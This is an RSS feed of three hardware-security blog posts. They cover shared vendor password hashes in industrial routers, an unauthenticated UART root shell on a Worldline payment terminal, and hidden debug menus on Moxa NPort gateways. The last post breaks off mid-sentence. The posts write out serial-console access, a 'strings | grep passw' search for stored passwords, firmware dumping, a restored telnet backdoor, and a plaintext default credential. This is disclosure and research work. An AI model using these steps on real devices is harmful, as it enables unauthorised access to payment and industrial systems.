<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Marcel Rick-Cen | FOXGRID on Medium]]></title>
        <description><![CDATA[Stories by Marcel Rick-Cen | FOXGRID on Medium]]></description>
        <link>https://medium.com/@marcel.rickcen?source=rss-cd66c390c38c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X-byOHVlOac9rSte0ezNeg@2x.jpeg</url>
            <title>Stories by Marcel Rick-Cen | FOXGRID on Medium</title>
            <link>https://medium.com/@marcel.rickcen?source=rss-cd66c390c38c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 23:18:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@marcel.rickcen/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Weak Credentials in Industrial Routers: How Identical Hashes Led to Extending CVE-2024–45275]]></title>
            <link>https://medium.com/@marcel.rickcen/weak-credentials-in-industrial-routers-how-identical-hashes-led-to-extending-cve-2024-45275-56d25ef415f7?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/56d25ef415f7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[ics-security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Sat, 14 Mar 2026 18:24:34 GMT</pubDate>
            <atom:updated>2026-08-11T19:24:09.681Z</atom:updated>
            <content:encoded><![CDATA[<h3>Weak Credentials in Industrial Routers: How Identical Password Hashes Led to Extending CVE-2024–45275</h3><p>Industrial remote access gateways are critical components in modern operational technology (OT) environments. These devices connect industrial control systems to cloud management platforms and often serve as the bridge between IT and OT networks.</p><p>During filesystem analysis of two industrial routers — the <strong>mb connectline MDH 849</strong> and <strong>mbNET.mini</strong> — an unusual observation appeared in the authentication configuration files: identical password hashes across multiple devices.</p><p>What initially looked like a small anomaly during filesystem inspection eventually led to the coordinated disclosure, extending the scope of <strong>CVE-2024–45275</strong> from<strong> </strong>one single product to multiple product families affected.</p><p>This article explains how a simple observation during firmware analysis uncovered a <strong>weak credential vulnerability in industrial routers</strong> and why authentication design decisions can have long-term consequences in industrial environments.</p><h3>Table of Contents</h3><p>1. Industrial Remote Access Devices and Their Role in OT Networks<br>2. Starting the Firmware and Filesystem Analysis<br>3. Inspecting Authentication Files in Industrial Routers<br>4. Identifying Identical Password Hashes Across Devices<br>5. Understanding the MD5-Crypt Hash Format<br>6. How the Credentials Were Discovered During Security Research<br>7. Why Shared Credentials Are Dangerous in Industrial Systems<br>8. Responsible Disclosure and CVE-2024–45275<br>9. Lessons for Industrial Cybersecurity<br>10. Conclusion: Security Implications for Industrial Routers</p><h3>Industrial Remote Access Devices and Their Role in OT Networks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*Hr79hEVARdAEZ-2wQIsH_g.png" /><figcaption>mb connectline MDH 849 and mbNET.mini</figcaption></figure><p>Before we dive into the analysis, let’s first understand how OT remote access devices are intended to be used:</p><p>The vendor provides a cloud portal that facilitates the management of devices and the creation of initial configuration files. Users generate these config files through the portal and then transfer them onto a USB pen drive. To set up a device, this USB drive is plugged into the device’s USB socket while it is powered off. Upon powering the device on, it reads the config file from the USB drive, which enables it to connect to the internet and register itself with the cloud portal.</p><p>Once registered, all device management tasks can be conducted remotely via the cloud portal. For local management, the device’s embedded web server can be accessed, providing an alternative means of configuration and monitoring directly at the device level.</p><h3>Starting the Firmware and Filesystem Analysis</h3><p>The research began with a standard firmware analysis. Many industrial devices run lightweight Linux distributions, which means their configuration and system services can often be inspected through the filesystem. During the analysis, several directories related to the web interface were identified:</p><p>These directories contained CGI scripts responsible for:</p><ul><li>device configuration</li><li>system status</li><li>service management</li><li>remote control functions</li></ul><p>Alongside these scripts were several <strong>.htpasswd files</strong>, which are commonly used by web servers to store authentication credentials.</p><p>A simplified structure looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*vh-o9xdZHdTS_VQJ4AtssQ.png" /><figcaption>Hardcoded shared credentials in the .htpasswd file</figcaption></figure><p>These .htpasswd files control which users are allowed to access different parts of the device’s web interface.</p><h3>Inspecting the Authentication Entries</h3><p>Looking at the .htpasswd files revealed several predefined accounts. Two of them appeared consistently on the MDH 849 and mbNET.mini :</p><ul><li><strong><em>MBCL</em></strong></li><li><strong><em>remote</em></strong></li></ul><p>These were clearly <strong>vendor-defined system accounts</strong>, not user-created accounts. Service accounts are common in embedded devices, so their presence alone was not surprising. However, the password hashes associated with them raised an interesting question. To avoid exposing real authentication material, the examples below are <strong>sanitized placeholders</strong>, but they illustrate the key observation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*2KFTYfZs1y71lqMb2aEC1A.png" /></figure><p>Two details stood out immediately. First, the accounts <strong>MBCL</strong> and <strong>remote</strong> appeared on both devices. Second, their password hashes were <strong>identical across systems</strong>. This suggested that the credentials were <strong>not generated individually per device</strong>, but rather embedded as part of the platform.</p><h3>Understanding the Hash Format</h3><p>The hash prefix <strong>$1$</strong> indicates the <strong>MD5-crypt hashing algorithm</strong>. MD5-crypt was historically used in many Linux systems, but today it is considered outdated compared to modern password hashing mechanisms.</p><p>Another interesting detail appeared in the structure of the hashes: <strong>$1$$</strong></p><p>The empty field indicates that <strong>no salt value was used</strong>. Salts are normally random values added to password hashes to ensure that identical passwords produce different hashes across systems. Without a salt, identical passwords produce <strong>identical hashes everywhere they are used</strong>. This makes credential reuse much easier to detect.</p><p><strong>Seeing the same hashes across devices strongly suggested that the credentials were static vendor-defined accounts reused across systems.</strong></p><h3>How the Credentials Were Discovered</h3><p>The credentials themselves were not visible through normal device operation. They were discovered during firmware analysis after gaining access to the system environment. During the research process, different vulnerabilities allowed deeper inspection of the device internals.</p><ul><li>mbNET-mini device exposed a root shell through upd confnetdevice services (CVE-2024–45274)</li><li>MDH849 allowed escaping a restricted Lua execution environment (CVE-2025–41688)</li></ul><p>Once filesystem access was obtained, reviewing the web interface configuration revealed the credential reuse. Details of these vulnerabilities were handled separately as part of the coordinated disclosure.</p><h3>Why Shared Credentials Matter</h3><p>From a security perspective, shared credentials introduce several risks. If authentication values are reused across devices, the compromise of one system can potentially allow access to others. This becomes particularly concerning for devices that sit between IT and OT networks.</p><p>Even if the credentials are not directly exposed through a public interface, they may still become usable through other vulnerabilities. For this reason, modern secure design recommends:</p><ul><li>unique credentials per device</li><li>strong password hashing algorithms</li><li>the ability to disable vendor accounts</li></ul><p>Industrial gateways and remote access routers are frequently deployed at the boundary between enterprise IT networks and operational technology environments. Because these devices manage remote connectivity and configuration, authentication weaknesses can introduce significant security risks.</p><p>If identical credentials or static passwords are reused across devices, an attacker who gains access to one system may be able to authenticate to other devices using the same credentials. This risk becomes particularly relevant for <strong>industrial routers and OT remote access gateways</strong>, which often operate as trusted infrastructure components.</p><h3>Responsible Disclosure</h3><p>After validating the findings across devices, the issue was reported through a coordinated disclosure process. The vulnerability was handled in cooperation with:</p><ul><li>the mb connectline security team</li><li>CERT@VDE</li></ul><p>The resulting advisory <strong>SIM-2024–04</strong> documents several vulnerabilities identified during the research <a href="https://advisories.mbconnectline.com/pdf/SIM2024-04.pdf">https://advisories.mbconnectline.com/pdf/SIM2024-04.pdf</a></p><p>This finding extended the scope of <strong>CVE-2024–45275</strong> from<strong> </strong>one single product (mbNET.mini) to multiple product families affected.</p><h3>Lessons Learned</h3><p>This discovery highlights several important lessons about embedded and industrial security.</p><p><strong>Small anomalies deserve attention</strong></p><ul><li>The issue was discovered not through an exploit, but through a simple observation: <strong>identical password hashes across devices</strong>.</li><li>Security research often begins with small details.</li></ul><p><strong>Legacy design decisions persist</strong></p><ul><li>Industrial systems often remain deployed for <strong>10–20 years or longer</strong>.</li><li>Security mechanisms that were acceptable when the device was designed may no longer meet modern standards.</li></ul><p><strong>Gateways require strong authentication</strong></p><ul><li>Devices that bridge IT and OT networks should be treated as critical infrastructure.</li><li>Weak authentication at this boundary can expose entire operational environments.</li></ul><h3>Final Thoughts</h3><p>The discovery of <strong>identical credentials across industrial routers</strong> highlights how small anomalies during firmware analysis can reveal larger security design issues.</p><p>In this case, identical password hashes across devices indicated that static vendor credentials had been embedded in the platform. While the credentials were not exposed during normal operation, vulnerabilities that allow filesystem access can make such authentication weaknesses exploitable.</p><p>For industrial environments, especially where remote access gateways bridge IT and OT networks, <strong>strong authentication and unique device credentials are essential security requirements</strong>.</p><p>Responsible disclosure and collaboration between researchers, vendors, and industry CERT teams help ensure that vulnerabilities like <strong>CVE-2024–45275</strong> are documented and addressed.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*Izghd96zUlLrHVzQ.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li><li>Creating ICS/OT deception hosts</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><h3>FAQ</h3><h4>What is CVE-2024–45275?</h4><p>CVE-2024–45275 describes a weak credential vulnerability in industrial remote access devices where identical password hashes were reused across multiple devices.</p><h4>Why are shared credentials dangerous in industrial systems?</h4><p>Shared credentials increase the risk that compromising one device could allow attackers to authenticate to other systems using the same credentials.</p><h4>What devices were affected?</h4><p>The vulnerability was observed in <strong>mb connectline MDH 849</strong> and <strong>mbNET.mini</strong> industrial routers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56d25ef415f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Root Shell on a POS Payment Terminal: Security Analysis of the Worldline Yomani XR]]></title>
            <link>https://medium.com/@marcel.rickcen/root-shell-on-a-pos-payment-terminal-security-analysis-of-the-worldline-yomani-xr-3f8fa82e3c3c?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f8fa82e3c3c</guid>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Mon, 09 Mar 2026 19:51:28 GMT</pubDate>
            <atom:updated>2026-03-18T08:17:52.993Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O39nmM1FX5KjlaOtNGRdSg.png" /></figure><p>What follows isn’t just a hack story — it’s a reminder of how real-world security often fails in silence. The Worldline Yomani XR is a payment terminal trusted across Europe and quietly exposes a <em>root shell.</em> In this article we connect, observe, and uncover what happens when a single debug interface is left unprotected.</p><p>A while ago, I came across a meticulous piece of hardware research on the <strong>Worldline Yomani XR</strong> — a payment terminal commonly seen across Europe.<br>The original researcher had already done the hard part: dissecting the device, mapping its components, understanding its tamper detection, and even performing a <strong>chip-off analysis</strong> of the onboard flash memory.</p><p><a href="https://stefan-gloor.ch/yomani-hack">Read the original research here.</a></p><p>Their conclusion was striking: an <strong>unprotected root shell</strong>, accessible directly from the device’s service port. No opening of the case. No triggering of tamper sensors. No special equipment.</p><p>I decided to reproduce and extend that finding.</p><h3>Normal Operation</h3><p>The merchant connects the terminal to their payment service provider and to the cash register, which orchestrates the transaction flow. A customer then presents their card — swipe, insert or tap — enters a PIN or confirms the amount (and optionally a tip), and the terminal communicates with the payment network to authorize and complete the sale.</p><h3>Setting the Scene</h3><p>Our goal was simple: validate whether the reported root shell was reproducible, understand which processor domain it belonged to, and evaluate the practical risk this poses in the field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*OmfQmtYCwYyAm0tINXpVGg.png" /><figcaption>Open service port with connection to the debug interface</figcaption></figure><p>Before touching the soldering iron, we followed standard procedure. We verified <strong>voltage levels and ground</strong>, confirming the 3.3V TTL interface. With that established, we connected to the indicated pins and launched picocom at 115200 baud — the most common setting.</p><p>The boot log appeared instantly. A moment later, the familiar prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*i4LkuB7TSCfwnTjJ8p66_Q.png" /></figure><p>Typing root dropped us directly into a root shell. No password. No challenge. No warning.</p><h3>A Tale of Two Processors</h3><p>Digging deeper into public documentation and teardown material revealed that the Yomani XR architecture actually includes <strong>two distinct processors</strong>:</p><ul><li><strong>MP1 (Secure Processor):</strong>Handles cryptographic operations, payment data, keypad and display handling.</li><li><strong>MP2 (Application Processor)</strong>: Manages peripheral and general-purpose functions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*VgE7gO9d1VvKoJ3C.jpg" /><figcaption>Memory Mapping of the POS Terminal. Source: <a href="https://stefan-gloor.ch/yomani-hack">https://stefan-gloor.ch/yomani-hack</a></figcaption></figure><p>The root shell we accessed belongs to the <em>insecure domain</em> (MP2). While it doesn’t directly process cardholder data, its privilege level and proximity to the secure domain mean it still represents a valuable entry point for attackers — especially if communication between both processors is insufficiently controlled.</p><h3>Looking Beneath the Surface</h3><p>With shell access established, our next step was to look for configuration and credential artifacts. We scanned the firmware partition for hard-coded secrets:</p><pre>/ # strings /dev/mtd0 | grep -i &quot;passw&quot;</pre><p>Among the results were <strong>two cleartext passwords</strong>, apparently used for technician and configuration access.</p><pre>&lt;attribute name=&quot;TechnicianZPassword&quot; value=&quot;[REDACTED]&quot; /&gt; <br>&lt;attribute name=&quot;HwConfigPassword&quot; value=&quot;[REDACTED]&quot; /&gt;</pre><p>We also explored the <strong>startup scripts</strong>, where two files stood out:</p><pre>S14telnetDisable     <br>S16telnetDestroy</pre><p>Both scripts actively remove or kill any Telnet daemon during boot — a commendable sign of hardening intent. Yet paradoxically, the firmware still contains all necessary binaries to restore Telnet functionality. This design decision suggests the developers anticipated such use but relied solely on software scripts to suppress it, not on deeper configuration controls.</p><h3>Implanting a Simple Backdoor</h3><p>For research continuity, we restored a Telnet instance right at the end of the kill command script to simplify data access, preferring this method over inserting bind or reverse shell commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*7-bfh6zAEMQWp2CRgXzO_w.png" /><figcaption>Restoring the telnet daemon right after it was killed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZBCfkGbl8dZ7Z7uq1BmFQ.png" /><figcaption>Backdoor implanted and accessible</figcaption></figure><h3>Firmware Extraction</h3><p>The terminal provides a USB interface, which we used to connect a standard flash drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*lVejcBPnNSeFJr6EFBomVw.png" /><figcaption>Connecting a flash drive via extension due to limited space</figcaption></figure><p>From there, we created a mount directory and used dd if=/dev/mtd0 of=/mnt/usb/XR_mtd0.bin bs=2048to copy the full firmware image from the MTD block device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*osQUWpbfE5kce4zEbQPz1A.png" /><figcaption>Mounting the flash drive and copying the entire firmware block</figcaption></figure><p>A quick check in <strong>Binwalk</strong> confirmed that the extracted image was <strong>unencrypted:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5WxBhifB14ZWj-NZmk4Sw.png" /><figcaption>Binwalk entropy check</figcaption></figure><p>With both <strong>live shell access and the full firmware image in hand</strong>, we now have a comprehensive access to the system’s inner workings — a combination that should never be possible from a production-grade payment device.</p><h3>Barriers and Boundaries</h3><p>Interestingly, our research hit a clear wall when we tried to explore the device’s <strong>user interface and keypad functions</strong>. Despite discovering technician passwords within the firmware, we found no hidden key combinations or service menus that would allow direct use of those credentials through the physical interface.</p><p>As it turns out, all display and keypad handling are probaly managed by the secure MP1 processor, entirely isolated from the domain we can access. That design at least ensures user input and payment workflows remain protected, even if the auxiliary domain is compromised.</p><h3>Reflections on Risk</h3><p>From a security standpoint, the issue is less about a single root shell and more about <strong>what its existence implies</strong>:</p><ul><li><strong>Physical access</strong> alone is enough to gain privileged control.</li><li><strong>No tamper detection</strong> is triggered when connecting to the service port.</li><li><strong>No authentication</strong> is required for root-level access.</li><li><strong>Firmware is unencrypted</strong> and exposes sensitive information.</li></ul><p>In the context of retail payment infrastructure, this combination is problematic. Devices like these are not locked in data centers , they sit on open counters, in kiosks, or in unattended terminals. Even a brief, unnoticed access could lead to firmware tampering, or lateral network movement.</p><h3>For Operators and Integrators</h3><ul><li>Limit physical access to payment terminals; apply tamper seals and enclosure locks.</li><li>Isolate payment devices on dedicated VLANs, with strict network control.</li><li>Reflash second-hand or refurbished terminals before redeployment.</li><li>Disable service ports at hardware level .</li></ul><h3>Physical access remains one of the most underestimated threats.</h3><p>Especially in retail or public environments, assuming that no one will connect to a port is not a control, it’s wishful thinking.</p><p>This case demonstrates how <strong>security may fail quietly if one debug interface is left in operation. </strong>Other than that, the developers clearly intended to harden the device, disabling Telnet, separating processors, and embedding (physical) tamper detection.</p><p>For researchers, it’s an opportunity to study real-world trade-offs between usability and security in embedded systems. For vendors and operators, it’s a reminder that <strong>debug ports are not harmless leftovers</strong>; they are sometimes fully capable pathways into the system.</p><p>And as long as such ports remain accessible, it’s not a matter of <em>if</em> someone will find them, but <em>when</em>.</p><h3>Responsible Disclosure and Vendor Response</h3><p>After publishing the initial version of this research, Worldline contacted me to discuss the findings. The conversation was constructive and professional, and I appreciate the open dialogue and the opportunity to exchange perspectives on embedded system security and hardware research methodologies.</p><p><strong>Responsible disclosure and collaboration between researchers and vendors remain essential for improving the security of widely deployed systems.</strong></p><p>It was particularly refreshing to speak with a security professional who share a similar hacker mindset and passion for understanding how systems actually work.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*ca8mv1qpNFbtN_PO.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li><li>Creating ICS/OT deception hosts</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️<strong> <em>This article is AI-enhanced.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f8fa82e3c3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking for Hidden Access And Secret Functions in the Moxa NPort Series]]></title>
            <link>https://medium.com/@marcel.rickcen/hacking-for-hidden-access-and-secret-functions-in-the-moxa-nport-series-cefec8cabca9?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/cefec8cabca9</guid>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ot-security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 19:50:08 GMT</pubDate>
            <atom:updated>2025-10-09T19:50:08.471Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*5lR5i9uzJy17yG9x.png" /></figure><p>Hidden functions, undocumented menus, and secret jumpers — sometimes the real story of a device begins <em>after</em> you open it. In this article, we take apart multiple MOXA NPort devices to uncover what lies beneath its clean industrial design. What starts as a simple logic probe leads us to a bootloader console, an invisible debug menu, and insights into how manufacturers reuse internal architectures across entire product lines.</p><h3>Device Overview and Normal Operation</h3><p>Before we begin, let’s understand the device from an end user’s perspective. Typically, users interact with the device over the network via Telnet and a web server. While they can configure the device through these interfaces, accessing the underlying operating system is usually restricted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*vnpBA5y6U6PkQn4t.png" /></figure><p>Operators connect serial field devices (motors, pumps, sensors) to the NPort and bridge those streams over Ethernet or Wi-Fi to an application server. The gateway preserves the serial protocol while enabling remote management and integration into modern systems.</p><h3>Hardware reconnaissance at a glance</h3><p>Opening the enclosure reveals two pin groups: a two-pin header labeled <strong>JP1 </strong>and a four-pin header group labeled <strong>JP2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KVEcP4YWNm9fORJ9pJjqvw.png" /><figcaption>Jumperpins JP1 and JP2</figcaption></figure><p>Following electrical reconnaissance best practices, we first identify a common ground pin for each group. After powering the device we measure voltages:</p><pre>Voltage readings:<br><br>JP1: Pin 1 = 1.67V, Pin 2 = GND<br><br>JP2: Pin 1 = 3.35V, Pin 2 = 0V, Pin 3 = 3.34V, Pin 4 = GND</pre><p>With the voltages in the 3.3V TTL range, we attach a logic analyzer to the relevant pins to observe signal activity. They carry a serial data stream that the logic analyzers async UART analyzer plugin can decode. The ASCII interpretation of the captured UART frames shows the device boot log — in short, a bootloader speaking over UART.</p><p>JP1 voltage profile suggest a jumper or mode-selection pad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmeaiTQPOyq92kPGHVU0Mg.png" /><figcaption>Captured logic signal on JP2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*WZy0UnPSKq43W905ecuoWg.png" /><figcaption>and streaming async serial analyzers output to the terminal</figcaption></figure><h3>UART access and the boot console</h3><p>We connect a USB‑UART adapter (configured at <strong>115200 baud</strong>) to the pins on JP2 and open a serial console in Kali Linux:</p><pre>picocom /dev/ttyUSB0 -b 115200</pre><p>On power-up we see the boot log: it reveals embedded-system details and ends with a prompt to press Enter to activate the console. Pressing Enter drops us into a root shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*TeWPJm4s0rMYQtQVp-EQyw.png" /><figcaption>At the end of the bootlog we are dropped into a root shell</figcaption></figure><p>From there we inspect the filesystem and discover that some default credentials in plaintext. Notably, these credentials diverged from the documented default credentials of “admin:moxa” or “moxa:moxa,” indicating a potential oversight in the device’s security protocols.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/0*Rbg2_-h_SzhV8G0G.png" /><figcaption>password:syslog</figcaption></figure><p>I reached out to the Moxa Product Security and Incident Response Team for responsible disclosure. However, their response merely stated: <em>“It is </em><strong><em>believed </em></strong><em>that these vulnerabilities had been resolved in later firmware version long time ago”.</em></p><h3>The hidden debug menu and JP1 jumper</h3><pre>(...)<br>RedBoot(tm) bootstrap and debug environment [ROMRAM]<br>Non-certified release, version FSL 200952 - built 10:15:25, Mar  7 2014<br><br>Linux version 2.6.31 (root@localhost.localdomain) (gcc version 4.4.1 (Sourcery G++ Lite 2010q1-202) ) #6 PREEMPT Wed Aug 22 15:21:06 CST 2012<br>(...)<br>Creating 8 MTD partitions on &quot;mxc_nor_flash.0&quot;:<br><br>0x000000000000-0x000000080000 : &quot;nor.bootloader&quot;<br>0x000000080000-0x000000580000 : &quot;nor.kernel&quot;<br>0x000000580000-0x000001180000 : &quot;nor.rootfs&quot;<br>0x000001180000-0x000001980000 : &quot;nor.userfs&quot;<br>0x000001980000-0x000001a80000 : &quot;nor.log&quot;<br>0x000001a80000-0x000001b20000 : &quot;nor.config&quot;<br>0x000001b20000-0x000001fc0000 : &quot;nor.reserved&quot;<br>0x000001fc0000-0x000002000000 : &quot;nor.redbootConfig&quot;<br>(...)</pre><p>The boot log contains partition layout information and confirms the presence of RedBoot, but it contains <strong>no obvious way</strong> to enter the RedBoot CLI from the normal UART console. Returning to the PCB, we inspect <strong>JP1</strong> more closely. The label and pin spacing strongly suggest a jumper or bridging option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*0sZif1ApS-SXbmvXac4vxA.png" /><figcaption>JP1: Bridged!</figcaption></figure><p>Placing a jumper across JP1 and rebooting produces a different behavior on the serial console: a <strong>hidden debug menu</strong> appears.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*oYqSOxr7MFuVQpUUgcsRug.png" /><figcaption>Secret maintenance menu on the W2150A</figcaption></figure><p>This menu provides several hardware test options and includes an option to jump to RedBoot (entering command <strong>98</strong>). Selecting that option drops us into the <strong>RedBoot command-line interface</strong>.</p><h3>RedBoot: enumerating useful commands (what we tested)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*AHdLrKPgU7jNzRfCnEcFXA.png" /></figure><p>Once at the RedBoot prompt we list available commands with help. Several commands are useful for inspection — however, each carries risk and demands caution.</p><ul><li><strong>fconfig: </strong>read and modify configuration settings stored in nonvolatile memory.</li><li><strong>fconfig -l: </strong>lists all stored settings. We note alias and name entries in particular because these can be developer shortcuts or useful identifiers.paint</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*2szwDHVXxD5NvFuLnV7msw.png" /><figcaption>Flash image layout</figcaption></figure><ul><li><strong>fis list</strong> — shows the flash image system layout and attributes for each partition. This confirms the memory partitioning we observed in the boot log.</li><li><strong>dump</strong> — read volatile memory regions via RedBoot (address + length). RedBoot’s dump can display memory in different formats:</li><li>-1 — byte-wise with ASCII interpretation</li><li>-2 — 16‑bit words (no ASCII)</li><li>-4 — 32‑bit words (no ASCII)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*xeeWkM8cOEpgujUzOukm2A.png" /></figure><p>We used dump to inspect small memory regions (for example, the start of a filesystem region) but note that RedBoot <strong>does not</strong> provide direct general-purpose raw flash access for mounted partitions. Commands such as fis delete exist and can remove flash images, so we avoid destructive commands.</p><h3>Extending the analysis — the Moxa NPort5110</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wryQEG-8UQV5G8vb1gPM_Q.png" /></figure><p>Encouraged by this finding, we examine another MOXA product, the <strong>NPort5110</strong>, to see whether similar design traits appear across the product line. On its printed circuit board, three header groups are visible: JP1, JP2, and JP3. JP1 and JP2 are two-pin jumpers, while JP3 has three pins, the fourth is physically clipped off. Voltage probing shows the same 3.3V TTL logic level as with the W2150A, indicating a similar electrical design.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*6rojjRyBZdl7XZXa6ey1yg.png" /></figure><p>When bridging JP1, we again enter a hidden maintenance interface. However, this menu is far more limited. It provides only basic hardware diagnostics, simple memory checks, and a firmware upload option. There is no path to a command shell, and no bootloader CLI. It seems to exist purely for factory testing and provisioning. Interestingly, the menu allows the modification of certain metadata fields, such as the device serial number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*mXkUeH9svrpSYwbtUSUmpw.png" /><figcaption>“MainTain” program</figcaption></figure><p>This reduced functionality nevertheless tells us a lot about the manufacturer’s embedded design. The shared jumper layout, the identical voltage levels, and the presence of nearly identical maintenance code strongly suggest a unified internal architecture across MOXA’s product line. The decision to reuse the same electrical design for serviceability brings manufacturing efficiency — but it also carries forward the same potential exposure across multiple models.</p><h3>Patterns and implications</h3><p>The fact that both devices share a similar hardware structure reveals a systematic approach to recovery and provisioning. From a production standpoint, this makes sense. Engineers need a consistent way to flash firmware, validate memory, and recover from boot failures. However, from a field security perspective, the same consistency becomes a liability. Once a single entry point is understood, that knowledge scales across an entire product family.</p><p>We also observe how these debug interfaces contain unpolished engineering details — spelling errors, leftover test commands, and unchanged metadata from early development phases. Such fingerprints often indicate that the menu was never intended for public visibility. It serves as a practical reminder of how much embedded design work happens behind the scenes and how those legacy mechanisms persist long after deployment.</p><h3>Lessons learned</h3><p>Hardware backdoors and recovery modes are not inherently bad. They are a necessity in embedded manufacturing. But once a product leaves the factory and enters operational service, those same interfaces should be physically or logically sealed. The field environment is not a controlled lab. It’s a place where devices can be stolen, repurposed, or even resold without proper sanitization.</p><p>Through this analysis, we confirm that the debug interface design of the MOXA NPort series is not an isolated quirk but a recurring architectural choice. 